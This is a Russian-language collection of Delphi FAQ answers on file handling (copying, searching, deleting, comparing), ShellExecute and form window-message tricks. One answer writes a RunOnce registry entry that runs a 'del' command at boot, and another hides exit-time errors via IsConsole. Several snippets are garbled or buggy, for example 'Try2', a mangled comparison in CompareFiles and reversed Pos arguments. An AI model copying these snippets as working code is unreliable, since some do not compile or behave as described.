Windows.GetClientRect(Edit1.Handle, cRect);
bm := TBitmap.Create;
bm.Width := cRect.Right;
bm.Height := cRect.Bottom;
bm.Canvas.Font := Edit1.Font;
if bm.Canvas.TextWidth(Edit1.Text + Key) > CRect.Right then
begin
Key := #0;
MessageBeep(-1);
end;
bm.Free;
end;
end;
Почему то неправильно работает функция StrToFloat.
Пишу даже прямо StrToFloat('32.34'), к примеру, получаю эксепшн "'32.34' is not valid float"
Если пишу число без десятичной точки, то все ОК.
А какой у тебя DecimalSeparator? В Russian settings почему-то
по умолчанию считается, что разделитеь дроби - запятая.
Пеpеустанови пpи запуске пpогpаммы DecimalSeparator := '.';
Или пользуйся этой функцией так:
StrToFloat('32,24');
Hужно перед закрытием программы сказать IsConsole:=True и телемаркет.
Сообщение об ошибке не появится. Конечно, она никуда не девается, просто диалог не показывается. Hо это нормально. Если при
выходе из программы происходит сабж, то это происходит уже после всего вашего кода (вообще-то она происходит при выгрузке
библиотек) и все данные уже сохранены. Юзеры довольны.
Как обрабатывать ошибки в дельфовых COM-объектах ?
TCustomBasePlugObject = class ( TAutoObject, IUnknown, IDispatch )
...
protected
function SafeCallException(ExceptObject: TObject; ExceptAddr:
Pointer): {$IFDEF _D4_}HResult{$ELSE}Integer{$ENDIF}; override;
...
function TCustomBasePlugObject.SafeCallException;
var ExMsg:String;
begin
Result := inherited SafeCallException(ExceptObject, ExceptAddr);
Try
if ExceptObject is EAbort then exit;
ExMsg := 'Exception: PlugObject="'+ClassName+'"';
if ExceptObject is Exception then
begin
ExMsg := ExMsg + #13' Message: '#13' '+
Exception(ExceptObject).Message+
#13' Module:'+GetModuleFileName+
#13' Adress:'+Format('%p',[ExceptAddr]);
if (ExceptObject is EOleSysError) and
(EOleSysError(ExceptObject).ErrorCode < 0)
then ExMsg := ExMsg + #13'
OleSysError.ErrorCode='+IntToStr(EOleSysError(ExceptObject).ErrorCode);
end;
toLog(ExMsg);
Except
End;
end;
Функции Delphi ParamCount и ParamStr работают неверно,
поскольку пробел они считают разделителем параметров,
а пробел может содержаться, например, в названии файла.
Этой ошибки не происходит, если в начале и в конце параметра стоят кавычки.
А еще можно воспользоваться переменной CmdLine.
В ней хранится командная строка со всеми параметрами без каких-либо изменений. Пример:
procedure TForm1.FormCreate(Sender: TObject);
begin
Form1.Caption := CmdLine;
end;
А как записать (читать) в файл переменную, допустим, строкового типа, можно
ли это сделать, как в Паскале?
записать (читать) в файл переменную
=== 1 ===
.....
var f : TextFile;
begin
AssignFile(f,'c:\qqq.txt');
Rewrite(f);
Writeln(f,'qqqqq');
CloseFile(f);
end;
Это как в паскале.
Можно еще так.
.....
var s : TStringList;
begin
s := TStringList.Create;
s.Text := 'qqqqqqq';
s.SaveToFile('c:\qqq.txt');
s.Free;
end;
=== 2 ===
Если строка короткая, то все будет так же как в
Паскале, если длинная, то можно обмануть Дельфи, чтоб
писал строку вместо указателя:
writeln(f,pointer(MyLongString)^)
Есть еще несколько способов, например:
with TStringlist.create do
try
text:=MyLongStringName;
SaveToFile(MyFileName);
finally
free;
end;
function GetFileDate(FileName: string): string;
var
FHandle: Integer;
begin
FHandle := FileOpen(FileName, 20);
Try2
Result := DateTimeToStr(FileDateToDateTime(FileGetDate(FHandle)));
finally
FileClose(FHandle);
end;
end;
=== 1 ===
procedure CopyFile(const FileName, DestName: TFileName);
var
CopyBuffer: Pointer; { buffer for copying }
TimeStamp, BytesCopied: Longint;
Source, Dest: Integer; { handles }
Destination: TFileName; { holder for expanded destination name }
const
ChunkSize: Longint = 8192; { copy in 8K chunks }
begin
Destination := ExpandFileName(DestName); { expand the destination path }
if HasAttr(Destination, faDirectory) then { if destination is a directory...
}
Destination := Destination + '\' + ExtractFileName(FileName); { ...clone
file name }
TimeStamp := FileAge(FileName); { get source's time stamp }
GetMem(CopyBuffer, ChunkSize); { allocate the buffer }
try
Source := FileOpen(FileName, fmShareDenyWrite); { open source file }
if Source < 0 then raise EFOpenError.Create(FmtLoadStr(SFOpenError,
[FileName]));
try
Dest := FileCreate(Destination); { create output file; overwrite existing
}
if Dest < 0 then raise EFCreateError.Create(FmtLoadStr(SFCreateError,
[Destination]));
try
repeat
BytesCopied := FileRead(Source, CopyBuffer^, ChunkSize); { read chunk
}
if BytesCopied > 0 then { if we read anything... }
FileWrite(Dest, CopyBuffer^, BytesCopied); { ...write chunk }
until BytesCopied < ChunkSize; { until we run out of chunks }
finally
FileClose(Dest); { close the destination file }
{ SetFileTimeStamp(Destination, TimeStamp);} { clone source's time stamp
}{!!!}
end;
finally
FileClose(Source); { close the source file }
end;
finally
FreeMem(CopyBuffer, ChunkSize); { free the buffer }
end;
FileSetDate(Dest,FileGetDate(Source));
end;
Anton Kartamyshev
(2:5020/211.15)
=== 2 ===
function CopyFile( InFile,OutFile: String; From,Count: Longint ): Longint;
var
InFS,OutFS: TFileStream;
begin
InFS := TFileStream.Create( InFile, fmOpenRead );
OutFS := TFileStream.Create( OutFile, fmCreate );
InFS.Seek( From, soFromBeginning );
Result := OutFS.CopyFrom( InFS, Count );
InFS.Free;
OutFS.Free;
end;
try..except pасставляются по вкусу, а навоpоты вpоде установки
атpибутов,даты и вpемени файла и т.п. для ясности удалены, да и не нужны
они в основном никогда.
=== 3 ===
Можно ли скопировать группу файлов, используя стандартный диалог с анимацией Копирование Файлов, который
использует "Проводник" (Explorer)?
В следующем примере используется функция SHFileOperation для копирования группы файлов и показа
анимированного диалога. Вы можете использовать также следующие флаги для копирования, удаления, переноса и
переименования файлов.
TO_COPY
FO_DELETE
FO_MOVE
FO_RENAME
Примечание: буфер, содержащий имена файлов для копирования должен заканчиваться двумя нулевыми
символами.
uses ShellAPI;
procedure TForm1.Button1Click(Sender: TObject);
var
Fo : TSHFileOpStruct;
buffer : array[0..4096] of char;
p : pchar;
begin
FillChar(Buffer, sizeof(Buffer), #0);
p := @buffer;
p := StrECopy(p, 'C:\DownLoad\1.ZIP') + 1;
p := StrECopy(p, 'C:\DownLoad\2.ZIP') + 1;
p := StrECopy(p, 'C:\DownLoad\3.ZIP') + 1;
StrECopy(p, 'C:\DownLoad\4.ZIP');
FillChar(Fo, sizeof(Fo), #0);
Fo.Wnd := Handle;
Fo.wFunc := FO_COPY;
Fo.pFrom := @Buffer;
Fo.pTo := 'D:\';
Fo.fFlags := 0;
if ((SHFileOperation(Fo) <> 0) or
(Fo.fAnyOperationsAborted <> false)) then
ShowMessage('Cancelled')
end;
{
В следующем примере показано как можно осуществить чтение
и запись данных в/из файла. Данный пример предполагается
в первую очередь использовать тем, кто делает первые шаги
в вопросах чтения/записи. Для получения дополнительной
информации о каждом объекте, обратитесь к электронной справке.
В коде присутствует минимальная обработка исключительных
ситуаций, но она никоим образом не является законченным решением.
Для оформления программы необходимо установить на форме
компонент TMemo с заголовком Запись, и кнопку с заголовком
Чтение. Запустите программу, поместите несколько строк в "memo",
после чего нажмите на кнопку Запись. Очистите "memo", и нажмите Чтение.
}
procedure TForm1.BtnWriteClick(Sender: TObject);
var
FileStream: TFileStream;
Writer : TWriter;
I : Integer;
begin
FileStream := TFileStream.Create ('c:\delphi\projects\delta40\fileio\stream.txt',
fmCreate or fmOpenWrite or fmShareDenyNone);
Writer := TWriter.Create (FileStream, $ff);
Writer.WriteListBegin;
for I := 0 to Memo1.Lines.Count - 1 do Writer.WriteString (Memo1.Lines[I]);
Writer.WriteListEnd;
Writer.Destroy;
FileStream.Destroy;
end;
procedure TForm1.BtnReadClick(Sender: TObject);
var
FileStream: TFileStream;
Reader : TReader;
begin
{ пробуем открыть несуществующий файл
}
try
FileStream := TFileStream.Create ('c:\delphi\projects\delta40\fileio\bogus.txt',
fmOpenRead);
except
; { Destroy не нужен, поскольку Create потерпела неудачу }
end;
FileStream := TFileStream.Create ('c:\delphi\projects\delta40\fileio\stream.txt',
fmOpenRead);
Reader := TReader.Create (FileStream, $ff);
Reader.ReadListBegin;
Memo1.Lines.Clear;
while not Reader.EndOfList do Memo1.Lines.Add (Reader.ReadString);
Reader.ReadListEnd;
Reader.Destroy;
FileStream.Destroy;
end;
Не правда ли, знакомая ситуация? Необходимо сделать так, чтобы программа искала какой-либо файл... Все, хорошо, если у Вас для
этого есть специальная компонента (кстати, не входящая в стандартный набор). А если ее нет? Здесь придется писать алгоритм
поиска файла.
В Delphi существует две функции для поиска файлов. Это -
function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer;
function FindNext(var F: TSearchRec): Integer;
Разберемся, что же означают эти функции. Для начала возьмем первую - FindFirst. Разберемся сначала с переменными.
Path - это переменная, как видно из названия, показывающая путь к директории, где будет производиться поиск файла. Кроме этого, в
эту переменную входит также и имя файла (файлов), которые должны быть найдены. Причем, в названии файла можно пользоваться
такими символами: * (звездочка) и ? (знак вопроса). Значения этих символов стандартны: знак вопроса - любой допустимый символ,
звездочка - комбинация любых допустимых символов. Под допустимыми символами я понимаю символы, которые могут
использоваться в операционной системе для обозначения имен файлов.
Пример использования переменной Path:
Path:='c:\*.*'; {поиск файлов с любым именем на в корневой директории диска C:}
Path:='e:\audio\song3?.wav'; {поиск файлов в директории E:\AUDIO с именем song3?.wav (это могут файлы, например, song30.wav,
song31.wav, song3f.wav и другие)}
Обратите внимание! Недопустимо использовать символы * и ? в названии директории. Эти символы могут использоваться только в
имени файла.
Attr - эта переменная задает тип файлов, которые будут найдены. Тип переменной - Integer. Чтобы не мучаться с запоминанием
цифр, рекомендую Вам запомнить такие слова:
faReadOnly - файлы, у которых установлен аттрибут "Только для чтения".
faHidden - файлы, у которых установлен атрибут "Скрытые".
faSysFile - файлы, у которых установлен атрибут "Системный".
faArchive - файлы, у которых установлен атрибут "Архивный".
faDirectory - директория. То есть поиск поддиректорий в директории.
faAnyFile - любой файл (в том числе и faDirectory, и faVolumeID).
Теперь с этими словами можно обращаться как с цифрами - складывать их и вычитать. Например:
Attr:=faHidden+faSysFile; {поиск Скрытых и Системных файлов}
Attr:=faAnyFile-faReadOnly; {поиск всех файлов, кроме файлов, имеющих атрибут "Только для чтения"}
Однако учтите, что при применении вычитания результат может получиться несколько неожиданным, поэтому им лучше не
злоупотреблять.
Теперь разберемся, что же выдает функция. Функция возвращает 0, если была выполнена успешно, или, в противном случае, код
ошибки. Кроме того, если функция нашла файл, удовлетворяющий и условиям переменной Path, и условиям переменной Attr, то она
записывает результат в переменную F (типа TSearchRec), которая, естественно, должна быть объявлена командой Var.
Тип TSearchRec можно представить как:
type TSearchRec = Record
Time: Integer;
Size: Integer;
Attr: Integer;
Name: TFileName;
ExcludeAttr: Integer;
FindHandle: THandle;
FindData: TWin32FindData;
end;
Теперь разберемся, что означает функция FindNext.
Если команда FindFirst нашла какой-либо файл, то, возможно, если имя файла задано с символами * и/или ?, есть еще один или
несколько файлов, удовлетворяющих условию поиска. В этом случае и используется команда FindNext. Функция также возвращает 0,
если была выполнена успешно, или, в противном случае, код ошибки. И также записывает данные в переменную F.
Теперь, зная эти две команды, можно составить и алгоритм поиска заданного файла.
Простейший алгоритм:
Var F: TSearchRec;
Path: String;
Attr: Integer;
begin
Path:='e:\audio\album31\*.wav'; {Искать все файлы в заданной директории с расширение WAV,}
Attr:=faReadOnly+faArchive; {которые имеют атрибуты "Только для чтения" и "Архивный"}
FindFirst(Path,Attr,F);
If F.Name<>'' then begin {Если хотя бы один файл найден, то продолжить поиск}
ListBox1.Items.Add(F.Name); {Добавление в TListBox имени найденного файла}
While FindNext(F)=0 do ListBox1.Items.Add(F.Name);
end;
FindClose(F);
end.
Обратите внимание на процедуру FindClose. Она освобождает память, которую заняли функции FindFirst и FindNext.
Вы можете использовать функцию MoveFile() из Windows API для пермещения файла или папки. Если вы перемещаете файл, то он
должен отсуствовать в папке назначения. Если вы перемещаете папку, все папки в данной папке также перемещаются.
Пример 1 - премещение файла:
MoveFile('C:\Source\sourcefile.txt','C:\Dest\destfile.txt');
Пример 2 - премещение папки:
MoveFile('C:\Source','C:\Dest');
Нужно использовать функции Delphi FindFirst() и FindNext(), чтобы создать чтобы создать
список подкаталогов данной директории. Для каждой поддиректории с помощью тех же
функций FindFirst() и FindNext() снова получите список поддиректорий и так далее.
Пример:
procedure GetDirectories(const DirStr : string;
ListBox : TListBox);
var
DirInfo: TSearchRec;
r : Integer;
begin
r := FindFirst(DirStr + '\*.*', FaDirectory, DirInfo);
while r = 0 do begin
Application.ProcessMessages;
if ((DirInfo.Attr and FaDirectory = FaDirectory) and
(DirInfo.Name <> '.') and
(DirInfo.Name <> '..')) then
ListBox.Items.Add(DirStr + '\' + DirInfo.Name);
r := FindNext(DirInfo);
end;
SysUtils.FindClose(DirInfo);
end;
procedure GetFiles(const DirStr : string;
ListBox : TListBox);
var
DirInfo: TSearchRec;
r : Integer;
begin
r := FindFirst(DirStr + '\*.*', FaAnyfile, DirInfo);
while r = 0 do begin
Application.ProcessMessages;
if ((DirInfo.Attr and FaDirectory <> FaDirectory) and
(DirInfo.Attr and FaVolumeId <> FaVolumeID)) then
ListBox.Items.Add(DirStr + '\' + DirInfo.Name);
r := FindNext(DirInfo);
end;
SysUtils.FindClose(DirInfo);
end;
procedure TForm1.FormCreate(Sender: TObject);
var
i : integer;
begin
ListBox1.Items.Clear;
ListBox2.Items.Clear;
ListBox1.Items.Add('C:\Delphi');
GetDirectories('C:\Delphi', ListBox1);
i := 1;
while i < ListBox1.Items.Count do begin
GetDirectories(ListBox1.Items[i], ListBox1);
Inc(i);
end;
end;
procedure TForm1.ListBox1Click(Sender: TObject);
begin
ListBox2.Clear;
GetFiles(ListBox1.Items[ListBox1.ItemIndex],
ListBox2);
end;
Примечание : Не рекомендуется использование компонентов Memo или StringList для хранения
списков каталогов и файлов, так как размер элементов для этих компонентов ограничен, а списки
каталогов и файлов могут достигать большого размера. Целесообразно создавать временные файлы
для хранения этих списков.
procedure TForm1.Button1Click(Sender: TObject);
var
ListItem: TListItem;
sr:tsearchrec;
NewColumn: TListColumn;
begin
NewColumn := ListView1.Columns.Add;
NewColumn := ListView1.Columns.Add;//добавдяются колонки
if FindFirst('*.*', faAnyFile-faDirectory-faVolumeId, sr) = 0 then
begin
ListItem:=ListView1.Items.Add;//создается объект
ListItem.Caption:=sr.name;
ListItem.SubItems.Add(inttostr(sr.size));
ListItem.SubItems.Add(datetimetostr(FileDateToDateTime(sr.time)));
while FindNext(sr) = 0 do begin
ListItem:=ListView1.Items.Add;
ListItem.Caption:=sr.name;
ListItem.SubItems.Add(inttostr(sr.size));
ListItem.SubItems.Add(datetimetostr(FileDateToDateTime(sr.time)));
end;
FindClose(sr);
end;
end;
Функция DeleteFile() объявлена и в модуле Windows, и в модуле SysUtils. Функция из Windows принимает тип PChar, а функция из
SysUtils - тип string.
procedure TForm1.Button1Click(Sender: TObject);
var
s : string;
a : array[0..MAX_PATH - 1] of char;
begin
s := 'C:\SomeFile';
SysUtils.DeleteFile(s);
a := 'C:\SomeFile';
Windows.DeleteFile(@a);
end;
В текстовом файле, который обрабатывает программа, неоднократно
встречается признак конца файла (как этот файл создавался никто и
понятия не имеет), и как следствие если читать файл while not (eof), то
он будет прочитан до первого встреченного символа конца файла :(.
Как прочитать весь файл?
=== 1 ===
Перепишем ваш файл a.dat в файл b.dat, удалив признаки конца файла:
var
f1,f2 :file of Byte;
a :Byte;
i :Longint;
begin
{$I-}
AssignFile(f1, 'a.dat');
AssignFile(f2, 'b.dat');
Reset(f1);
Rewrite(f2);
for i := 1 to FileSize(f1) do
begin
Read(f1, a);
if a <> 26 then Write(f2, a);
end;
CloseFile(f1);
CloseFile(f2);
end.
=== 2 ===
Используйте TFileStream.
Это невозможно. Вы можете стереть его во время следующего запуска Windows, добавив ключ RunOnce:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
Пример:
Uses
Registry;
procedure TForm1.Button1Click(Sender: TObject);
var
reg: TRegistry;
begin
reg := TRegistry.Create;
with reg do begin
RootKey := HKEY_LOCAL_MACHINE;
LazyWrite := false;
OpenKey('Software\Microsoft\Windows\CurrentVersion\RunOnce',false);
WriteString('Delete Me!','command.com /c del FILENAME.EXT');
CloseKey;
free;
end;
end;
Источник: Дельфи. Вокруг да около.
Комментарий от "Anatoly Podgoretsky"
Можно еще через bat файл
:Repeatdel "C:\Path\Filename.EXE"if exist "UNSETUP.EXE" goto Repeatdel "C:\Path\Del.bat"
Или прописать в C:\Windows\wininit.ini следующее, для этого воспользоваться компонентом TIniFile
wininit.ini[rename]NUL=filename-to-delete
В примере стираются все файлы в каталоге и сам каталог. Чтобы удалить файл, помечанные только для чтения (read only) и занятые
другими программами в момент удаления - напишите дополнительную процедуру.
procedure TForm1.Button1Click(Sender: TObject);
var
DirInfo: TSearchRec;
r: integer;
begin
r := FindFirst('C:\Download\*.*', FaAnyfile, DirInfo);
while r = 0 do
begin
if ((DirInfo.Attr and FaDirectory <> FaDirectory) and
(DirInfo.Attr and FaVolumeId <> FaVolumeID)) then
if DeleteFile(pChar('C:\Download\' + DirInfo.Name))= false then
ShowMessage('Unable to delete: C:\Download\'+DirInfo.Name);
r := FindNext(DirInfo);
end;
SysUtils.FindClose(DirInfo);
if RemoveDirectory('C:\Download\') = false then
ShowMessage('Unable to delete directory: C:\Download\');
end;
program del;
uses
ShlObj;
//function SHFileOperation(const lpFileOp: TSHFileOpStruct): Integer; stdcall;
Var T:TSHFileOpStruct;
P:String;
begin
P:='C:\Windows\System\EL_CONTROL.CPL';
With T do
Begin
Wnd:=0;
wFunc:=FO_DELETE;
pFrom:=Pchar(P);
fFlags:=FOF_ALLOWUNDO
End;
SHFileOperation(T);
End.
function GetFileSize(const FileName:string):longint;
{Определение размера файла}
var
SearchRec:TSearchRec;
begin
if FindFirst(ExpandFileName(FileName),faAnyFile,SearchRec)=0
then Result:=SearchRec.Size
else Result:=-1;
FindClose(SearchRec);
end;
Хотелось бы по двойному щелчку на имени файла в компоненте FileListBox
иметь возможность автоматически открыть его в нужном приложении, как мы
делаем это в любом из коммандеров(Norton, Windows). Насколько реально
это осуществить? И, если не совсем утопично, то как?
Ответить.
Ответ 1:
Вовсе это не утопия.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
FileCtrl, StdCtrls, ShellApi;
type
TForm1 = class(TForm)
FileListBox1: TFileListBox;
DriveComboBox1: TDriveComboBox;
DirectoryListBox1: TDirectoryListBox;
Label1: TLabel;
procedure FileListBox1DblClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FileListBox1DblClick(Sender: TObject);
begin
ShellExecute(Application.Handle, 'open', PChar(FileListBox1.FileName), nil, nil, SW_RESTORE)
end;
end.
Ответ 2:
Вполне реально. Создайте обработчик события OnDblClick для FileListBox и в зависимости от типа файла запустите то или иное
приложение функцией
ShellExecute. Например:
procedure TForm1.FileListBoxDblClick(Sender: TObject);
begin
if Pos(FileListBox.FileName, '.doc') > 0 then
ShellExecute(Handle, 'open'#0, 'd:\Office\winword.exe'#0, PChar(FileListBox.FileName), 'd:\Office''#0, sw_Show);
// запустили документ
Word
end;
Замечу, что файлы-документы, привязанные к определенным приложениям, могут запускаться ShellExecute таким способом
ShellExecute(Handle, 'open'#0, PChar(FileListBox.FileName), NULL, sw_Show); // запустили документ Word
function CompareFiles(Filename1,FileName2:string):longint;
{Сравнение файлов
возвращает номер несовпадающего байта,
(байты отсчитываются с 1)или:
0 - не найдено отличий,
-1 - ошибка файла 1
-2 - ошибка файла 2
-3 - другие ошибки}
const
Buf_Size=16384;
var
F1,F2:TFileStream;
i:longint;
Buff1,Buff2:PByteArray;
BytesRead1,BytesRead2:integer;
begin
Result:=0;
try
F1:=TFileStream.Create(FileName1,fmShareDenyNone);
except
Result:=-1;
exit;
end;
try
F2:=TFileStream.Create(FileName2,fmShareDenyNone);
except
Result:=-2;
F1.Free;
exit;
end;
GetMem(Buff1,Buf_Size);
GetMem(Buff2,Buf_Size);
try
if F1.Size>F2.Size then Result:=F2.Size+1
else if F1.SizeF1.Position) and (Result=0) do begin
BytesRead1 :=F1.Read(Buff1^,Buf_Size);
BytesRead2 :=F2.Read(Buff2^,Buf_Size);
if (BytesRead1=BytesRead2) then begin
for i:= 0 to BytesRead1-1 do begin
if Buff1^[i]<>Buff2^[i]
then begin
result:=F1.Position-BytesRead1+i+1;
break;
end;
end;
end else begin
Result:=-3;
break;
end;
end;
end;
except
Result:=-3;
end;
F1.Free;
F2.Free;
FreeMem(Buff1,Buf_Size);
FreeMem(Buff2,Buf_Size);
end;
Запуск нужной программы в соответствии с расширением файла
ShellExecute(0, Nil, 'name.ext' , Nil, Nil, SW_NORMAL);
//Будет запускаться для TXT-блокнот,HTML-explorer итд
Если Вы хотите ввести в изумление пользователя с первых минут его
использования Вашего приложения, тогда самый верный
способ - заставить окно вылететь•, а не появиться обычным
способом!
Сделать это довольно легко, надо только описать два
события: OnShow (на появление формы) и OnClose
(на закрытие формы)
Выглядеть это будет так:
procedure TForm1.FormShow(Sender: TObject);
var
RectSmall,RectNormal:TRect;
begin
RectSmall:=Rect(0,0,0,0);
RectNormal:=Form1.BoundsRect; DrawAnimatedRects(GetDesktopWindow,IDANI_CAPTION,RectSmall,RectNormal);
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
RectSmall,RectNormal:TRect;
begin
RectSmall:=Rect(0,0,0,0);
RectNormal:=Form1.BoundsRect; DrawAnimatedRects(GetDesktopWindow,IDANI_CAPTION,RectNormal,RectSmall);
end;
Как это сделано? Мы объявляем две переменные класса TRect
(От англ. Rectangle - прямоугольник ).
Называем их, например RectSmall и RectNormal. Для RectSmall мы
задаём нули:
(0,0,0,0),
тем самым указав начало координат, т.е. левый верхний угол
экрана. В RectNormal помещаем рамку формы с
помощью функции BoundsRect. Функция DrawAnimatedRects
создаёт перетекание начальной рамки в конечную.
В событии OnShow мы из маленькой рамки делаем
большую, окно вылетает, а в событии OnClose большая
рамка перетекает в маленькую окно улетает!
Показ окна без главной формы
Попробуйте этот код в любом вторичном окне, которое вы НЕ хотите сопровождать главным окном:
...
private {Это включается в объявления формы.}
{ Private declarations }
procedure CreateParams(VAR Params: TCreateParams); override;
...
procedure TForm2.CreateParams(VAR Params: TCreateParams);
begin
Inherited CreateParams(Params);
Params.WndParent := GetDesktopWindow;
end;
Присваивая дескриптор окна родительской формы Рабочему столу, вы удаляете ту связь, которая, в нормальной ситуации, при
выводе окна на самый верхний уровень, заставляет переместиться туда также целиком все приложение.
Переопределите в подклассе TForm оконную процедуру WinProc класса. В примере оконная процедура переопределяется для того
чтобы реагировать на сообщение WM_CANCELMODE, показывающее, что выполняется messagebox или какой-либо еще диалог:
type
TForm1 = class(TForm)
Button1: TButton;
procedure WndProc (var Message: TMessage); override;
procedure Button1Click(Sender: TObject);
private
{Private declarations}
public
{Public declarations}
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.WndProc (var Message: TMessage);
begin
if Message.Msg = WM_CANCELMODE then
begin
Form1.Caption := 'A dialog or message box has popped up';
end
else
inherited // <- остальное сделает родительская процедура
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage('Test Message');
end;
В примере перехватывается сообщение WM_SYSCOMMAND. Если это сообщение говорит о минимизации или максимизации формы
- пищит динамик.
Пример:
type TForm1 = class(TForm)
private {Private declarations}
procedure WMSysCommand(var Msg: TWMSysCommand); message WM_SYSCOMMAND;
public {Public declarations}
end;
var Form1: TForm1;
implementation {$R *.DFM}
procedure TForm1.WMSysCommand;
begin
if (Msg.CmdType = SC_MINIMIZE) or (Msg.CmdType = SC_MAXIMIZE) then MessageBeep(0)
else inherited;
end;
Hадо ловить сообщение WM_NCPAINT.
Существует также компонент CustomNC by Alex Prilipko 2:5045/29, которые позволяет самому рисовать всю неклиентскую часть
окна.
(AP): Тот компонент - плохой. Совсем. Правильный компонент, by Акжан Абдулин и еще кто-то был в фэхе(не WDEVDELPHI).
Ищите cap*.zip.
NB: cap030.zip и cap031p.zip были в файлэхе FED32SRC.
Я делал так:
type .... =class(TForm)
....
procedure FormCreate(Sender:TObject);
procedure FormDestroy(Sender:TObject);
....
private
FHBrush:HBRUSH;
FCover:TBitmap;
FNewClientInstance:TFarProc;
FOldClientInstance:TFarProc;
procedure NewClientWndProc(var Message:TMessage);
....
protected
....
procedure CreateWnd;override;
....
end;
.....
implementation
{$R myRes.res} //pесуpс с битмапом фона
procedure .FormCreate(...);
var
LogBrush:TLogbrush;
begin
FCover:=TBitmap.Create;
FCover.LoadFromResourceName(hinstance,'BMPCOVER');
With LogBrush do
begin
lbStyle:=BS_PATTERN;
lbHatch:=FCover.Handle;
end;
FHBrush:=CreateBrushIndirect(Logbrush);
end;
procedure .FormDestroy(...);
begin
DeleteObject(FHBrush);
FCover.Free;
end;
procedure .CreateWnd;
begin
inherited CreateWnd;
if (ClientHandle <> 0) then
begin
if NewStyleControls then
SetWindowLong(ClientHandle, GWL_EXSTYLE, WS_EX_CLIENTEDGE or
GetWindowLong(ClientHandle, GWL_EXSTYLE));
FNewClientInstance:=MakeObjectInstance(NewClientWndProc);
FOldClientInstance:=pointer(GetWindowLong(ClientHandle,GWL_WNDPROC));
SetWindowLong(ClientHandle,GWL_WNDPROC,longint(FNewClientInstance));
end;
end;
procedure .NewClientWndProc(var Message:TMessage);
procedure Default;
begin
with Message do
Result := CallWindowProc(FOldClientInstance, ClientHandle, Msg, wParam,
lParam);
end;
begin
with Message do
case Msg of
WM_ERASEBKGND:
begin
FillRect(TWMEraseBkGnd(Message).DC, ClientRect,FHBrush);
Result := 1;
end;
else
Default;
end;
end;
end;
Перехватывайте сообщение Windows WM_WINDOWPOSCHANGING и добавляйте к флагам структуры WindowPos, передаваемой в
параметр lparam собщения, константы SWP_NOMOVE и SWP_NOSIZE.
type
TForm1 = class(TForm)
private
{ Private declarations }
procedure WMPosChange(var Message: TWMWINDOWPOSCHANGING);
message WM_WINDOWPOSCHANGING;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure Tform1.WMPosChange(var Message: TWMWINDOWPOSCHANGING);
begin
PWindowPos(TMessage(Message).lParam).Flags :=
PWindowPos(TMessage(Message).lParam).Flags or
SWP_NOMOVE or
SWP_NOSIZE;
end;
=== 1 ===
Не пропускать сообщение о изменении дальше в диспетчере сообщений
=== 2 ===
Нужно обрабатывать сообщение WM_GETMINMAXINFO.
=== 3 ===
Если у тебя Delphi 5 то у формы есть такое свойство Constraints
Если поставить MaxWidth = 240 и MinWidth = 240 то изменений не будет
Либо воспользоваться компонентой FormPlacement или FormStorage из
библиотеки
RxLib.
Ну на крайний случай можно перекрыть событие WM_GETMINMAXINFO.
=== 4 ===
Как ограничить изменение размера только по горизонтали или вертикали не
знаю, а вот как вообще ограничить изменение размеров формы
В object Inspector у формы измени свойство BorderStyle на bsDialog -
размеры
изменить не удастся. Вообще поиграйся с этим свойством.
В свойстве BordeerIcons можешь убрать кнопки в верхнем правом углу
формы,
тогда пользователь не сможет и расширить форму на весь экран.
=== 5 ===
в событии OnResize пишешь, например, Form1.Width=200
=== 6 ===
Используй Form->Constraints
Constraints.MaxWidth=Constraints.MinWidth=(тут че нить больше нуля)
=== 7 ===
По-моему надо перехватывать событие WM_SIZING.
Это событие посылается форме при любых изменениях
размеров(сворачивании,разворачивании т.д)
пишем
procedure WMSIZING(var Msg:TMessage); message WM_SIZING;
Как только это сообщение окажется в очереди вызовется на обработку
наша фия WMSIZING(при ее раскрытии писать message WM_SIZING не
нужно).
в одном из параметров (wParam )переданных в эту фию будет код произошедшего
события. Если это не нужное нам изменение то мы просто обнуляем его
(параметр через var передается).
procedure WMSIZING(var Msg:TMessage);
begin
if Msg.WParam=WMSZ_LEFT then Msg.WParam=0
esle
inherited;//вернуть обработку по умолчанию
end;
Рядом нет Дельфи -проверить не могу, поэтому лучше еще раз прочитайте Programmers
Refererence на ключ WM_SIZING.
=== 8 ===
Если у тебя 4.0-5.0 то в свойстве формы Constraints есть MaxWidth amp& MinWidth. Поставь им одинаковые значения.
Если версия Delphi ниже - пиши обработчик для обработки WM_NCHITTEST. Это что-то вроде:
...
TForm1 = class (TForm)
...
private
procedure WMNCHitTest(var Msg: TWMNCHitTest); message WM_NCHitTest;
....
end;
...
procedure TForm1.WMNCHitTest(var Msg: TWMNCHitTest);
var res: integer;
begin
res := DefWindowProc(TForm1.Handle, Msg.Msg, Msg.Unused, integer(Msg.Pos));
if (res = HTLEFT) or (res = HTRIGTH) then // курсор над левой/правой границей формы
res := HTNOWHERE
Msg.Result := res;
end;
=== 9 ===
Нужно объявить процедуру в частных объявлениям (после ключевого слова Private):
private
{ Private declarations }
procedure WMGetMinMaxInfo(var Info:TWMGetMinMaxInfo); message wm_GetMinMaxInfo;
В области implementation описываем процедуру так: implementation
{$R *.DFM}
procedure TForm1.WMGetMinMaxInfo(var Info:TWMGetMinMaxInfo);
begin
with Info.MinMaxInfo^ do begin
ptMinTrackSize.x:=200;
ptMinTrackSize.y:=100;
ptMaxTrackSize.x:=300;
ptMaxTrackSize.y:=200;
ptMaxPosition.x:=BoundsRect.Left;
ptMaxPosition.y:=BoundsRect.top;
end;
inherited;
end;
Как это сделано?
Строка
ptMinTrackSize.x:=200;
задаёт минимальный размер окна по оси Х, т.е. минимальную ширину окна, строка
ptMinTrackSize.y:=200;
- минимальную высоту. Максимальные лимиты задаются соответственно:
ptMaxTrackSize.x:=300;
ptMaxTrackSize.y:=200;
Даже если пользователь развернёт окно, оно не превысит максимальные значения, указанные нами! Следующие две строки задают
положение левого верхнего угла окна в развёрнутом виде
ptMaxPosition.x:=BoundsRect.Left;
ptMaxPosition.y:=BoundsRect.top;
- левый верхний угол не сместиться
